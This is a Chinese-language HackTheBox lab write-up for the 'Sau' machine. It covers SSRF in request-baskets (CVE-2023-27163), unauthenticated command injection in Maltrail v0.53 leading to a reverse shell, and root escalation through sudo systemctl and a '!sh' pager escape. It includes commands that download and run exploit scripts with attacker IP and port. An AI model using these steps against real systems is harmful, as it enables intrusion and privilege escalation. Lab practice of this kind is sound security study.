htb靶场 Sau

htb-Sau(study)

靶机 ip：10.10.11.224

About Sau

“Sau” 是一台难度为简单的 Linux 机器，其上运行的 “Request Baskets” 实例存在通过 CVE-2023-27163 漏洞可被利用的服务器端请求伪造（SSRF）问题。利用该漏洞，我们可以访问一台存在未授权操作系统命令注入漏洞的 “Maltrail” 实例，从而以 “puma” 用户身份在该机器上获取反向 Shell。随后，通过利用 “sudo” 的错误配置，我们能够获取 “root” Shell。

task1 目标机器开放的最大 tcp 端口是什么？

55555

nmap -sT 10.10.11.224

task2 端口 55555 上的应用程序是由哪种开源软件支持的？

nmap -p55555 -sV 10.10.11.224

访问 55555 应用程序

http://10.10.11.224:55555/web

request-baskets

task3 Sau 上运行的 request-baskets 的版本是什么？

由 task2 任务的截图可以知道，request-baskets 当前的版本是 1.2.1

task4 request-baskets中有个 ssrf 漏洞，cve 编号是多少？

google 搜索应用名称加版本号就可以找到

CVE-2023-27163

task5 运行在 80 端口的应用程序是由什么软件支持的？

这里需要通过 ssrf 漏洞访问内网的 80 端口，nmap 扫描其端口是无法访问的。

参考：https://sploitus.com/exploit?id=6BAA524E-16EA-562C-804B-113B8244C6EA，通过这个脚本可以将流量代理到 80 端口

Copy
wget https://raw.githubusercontent.com/Rubioo02/CVE-2023-27163/main/CVE-2023-27163.sh
chmod +x CVE-2023-27163.sh
./CVE-2023-27163.sh -t <TARGET_URL> -a <ATTACKER_URL>

访问给定的链接：http://10.10.11.224:55555/vxctgy，如下图，可以看到是 **Maltrail** 应用

task6 在 MailTrail v0.53 中存在一个未经身份验证的命令注入漏洞。找到其利用的路径。

Powered by Maltrail (v0.53)

尝试目录遍历

尝试提交，发现是 /login，查看 poc 也可以发现：https://github.com/josephberger/Maltrail-v0.53-RCE/blob/main/exploit.py

task7 在 Sau 上，Mailtrack 应用程序以什么系统用户身份运行？

利用 https://github.com/josephberger/Maltrail-v0.53-RCE/blob/main/exploit.py 脚本进行 rce

python3 exploit.py 10.10.14.10 1234 http://10.10.11.224:55555/vxctgy

nc 监听：

也就是 puma 用户

提交 user 的 flag

task9 在 Sau 上，puma 用户以 root 身份运行的二进制文件的完整路径是什么（不含参数）？

/usr/bin/systemctl

task10 Sau 上安装的 systemd 实例的完整版本字符串是什么？

systemd 245 (245.4-4ubuntu3.22)

task11 这个版本的 systemd 有个 cve 漏洞可以提权，cve 编号是多少？

CVE-2023-26604

参考：https://medium.com/@zenmoviefornotification/saidov-maxim-cve-2023-26604-c1232a526ba7

提交 root 的 flag

sudo /usr/bin/systemctl status trail.service

!sh